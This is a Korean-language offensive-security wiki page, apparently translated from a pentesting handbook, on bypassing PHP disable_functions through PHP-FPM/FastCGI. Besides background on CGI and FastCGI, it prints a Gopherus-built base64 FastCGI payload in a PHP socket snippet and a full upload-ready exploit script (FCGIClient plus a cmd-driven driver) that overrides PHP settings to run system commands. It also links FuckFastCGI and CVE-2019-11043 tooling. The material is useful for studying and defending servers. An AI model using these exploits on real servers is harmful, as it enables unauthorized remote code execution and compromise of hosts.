disable_functions bypass - php-fpm/FastCGI

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PHP-FPM

PHP-FPM은 표준 PHP FastCGI에 대한 우수한 대안으로 제공되며, 특히 트래픽이 많은 웹사이트에 유리한 기능을 제공합니다. 이는 마스터 프로세스를 통해 작업자 프로세스의 집합을 감독합니다. PHP 스크립트 요청의 경우, 웹 서버가 PHP-FPM 서비스에 대한 FastCGI 프록시 연결을 시작합니다. 이 서비스는 서버의 네트워크 포트 또는 유닉스 소켓을 통해 요청을 수신할 수 있는 능력을 가지고 있습니다.

프록시 연결의 중개 역할에도 불구하고, PHP-FPM은 웹 서버와 동일한 머신에서 작동해야 합니다. 사용되는 연결은 프록시 기반이지만, 전통적인 프록시 연결과는 다릅니다. 요청을 수신하면 PHP-FPM의 사용 가능한 작업자가 이를 처리하여 PHP 스크립트를 실행하고 결과를 웹 서버로 다시 전달합니다. 작업자가 요청 처리를 마치면, 다음 요청을 위해 다시 사용 가능해집니다.

하지만 CGI와 FastCGI는 무엇인가요?

CGI

일반적으로 웹 페이지, 파일 및 웹 서버에서 브라우저로 전송되는 모든 문서는 home/user/public_html과 같은 특정 공개 디렉토리에 저장됩니다. 브라우저가 특정 콘텐츠를 요청하면, 서버는 이 디렉토리를 확인하고 필요한 파일을 브라우저에 전송합니다.

서버에 CGI가 설치되어 있으면, 특정 cgi-bin 디렉토리도 추가됩니다. 예를 들어 home/user/public_html/cgi-bin입니다. CGI 스크립트는 이 디렉토리에 저장됩니다. 디렉토리의 각 파일은 실행 가능한 프로그램으로 취급됩니다. 디렉토리에서 스크립트에 접근할 때, 서버는 파일의 내용을 브라우저에 전송하는 대신 이 스크립스를 담당하는 애플리케이션에 요청을 보냅니다. 입력 데이터 처리가 완료되면, 애플리케이션은 출력 데이터를 웹 서버에 전송하고, 웹 서버는 데이터를 HTTP 클라이언트에 전달합니다.

예를 들어, CGI 스크립트 http://mysitename.com/cgi-bin/file.pl에 접근하면, 서버는 CGI를 통해 적절한 Perl 애플리케이션을 실행합니다. 스크립트 실행에서 생성된 데이터는 애플리케이션에 의해 웹 서버로 전송됩니다. 반면, 서버는 데이터를 브라우저로 전송합니다. 서버에 CGI가 없었다면, 브라우저는 .pl 파일 코드를 그대로 표시했을 것입니다. (설명은 여기에서)

FastCGI

FastCGI는 새로운 웹 기술로, 주요 기능은 동일하지만 개선된 CGI 버전입니다.

FastCGI를 개발할 필요성은 웹이 애플리케이션의 빠른 개발과 복잡성으로 인해 발생했으며, CGI 기술의 확장성 부족을 해결하기 위해서입니다. 이러한 요구를 충족하기 위해 Open Market은 FastCGI – 향상된 기능을 갖춘 CGI 기술의 고성능 버전을 도입했습니다.

disable_functions bypass

FastCGI를 악용하여 PHP 코드를 실행하고 disable_functions 제한을 회피할 수 있습니다.

Via Gopherus

Gopherus를 사용하여 FastCGI 리스너에 전송할 페이로드를 생성하고 임의의 명령을 실행할 수 있습니다:

그런 다음, URL 인코딩된 페이로드를 가져와서 디코딩하고 base64로 변환합니다. [예를 들어 이 cyberchef 레시피를 사용하여](http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). 그런 다음 base64를 이 PHP 코드에 복사하여 붙여넣습니다:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

이 스크립트를 업로드하고 접근하면 익스플로잇이 FastCGI로 전송되고 (disable_functions 비활성화) 지정된 명령이 실행됩니다.

PHP 익스플로잇

여기서 코드.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

이전 함수를 사용하면 system 함수는 여전히 비활성화되어 있지만 **phpinfo()**는 **disable_functions**가 비어 있음을 보여줍니다:

그래서, disable_functions는 php .ini 구성 파일을 통해서만 설정할 수 있으며, PHP_VALUE는 해당 설정을 무시하지 않을 것이라고 생각합니다.

FuckFastGCI

이것은 open_basedir와 disable_functions를 우회하기 위해 fastcgi 프로토콜을 악용하는 php 스크립트입니다.
엄격한 disable_functions를 우회하여 RCE를 수행하기 위해 악성 확장을 로드하는 데 도움이 될 것입니다.
여기에서 접근할 수 있습니다: https://github.com/w181496/FuckFastcgi 또는 약간 수정되고 개선된 버전은 여기에서 확인할 수 있습니다: https://github.com/BorelEnzo/FuckFastcgi

이 익스플로잇은 이전 코드와 매우 유사하지만, PHP_VALUE를 사용하여 disable_functions를 우회하려고 시도하는 대신, PHP_ADMIN_VALUE 변수 내의 extension_dir 및 extension 매개변수를 사용하여 외부 PHP 모듈을 로드하려고 합니다.
NOTE1: 아마도 서버가 사용하는 동일한 PHP 버전으로 확장을 재컴파일해야 할 것입니다 (phpinfo의 출력에서 확인할 수 있습니다):

PHP-FPM 원격 코드 실행 취약점 (CVE-2019–11043)

이 취약점은 phuip-fpizdam으로 악용할 수 있으며, 이 도커 환경을 사용하여 테스트할 수 있습니다: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043.
취약점 분석은 여기에서 찾을 수 있습니다.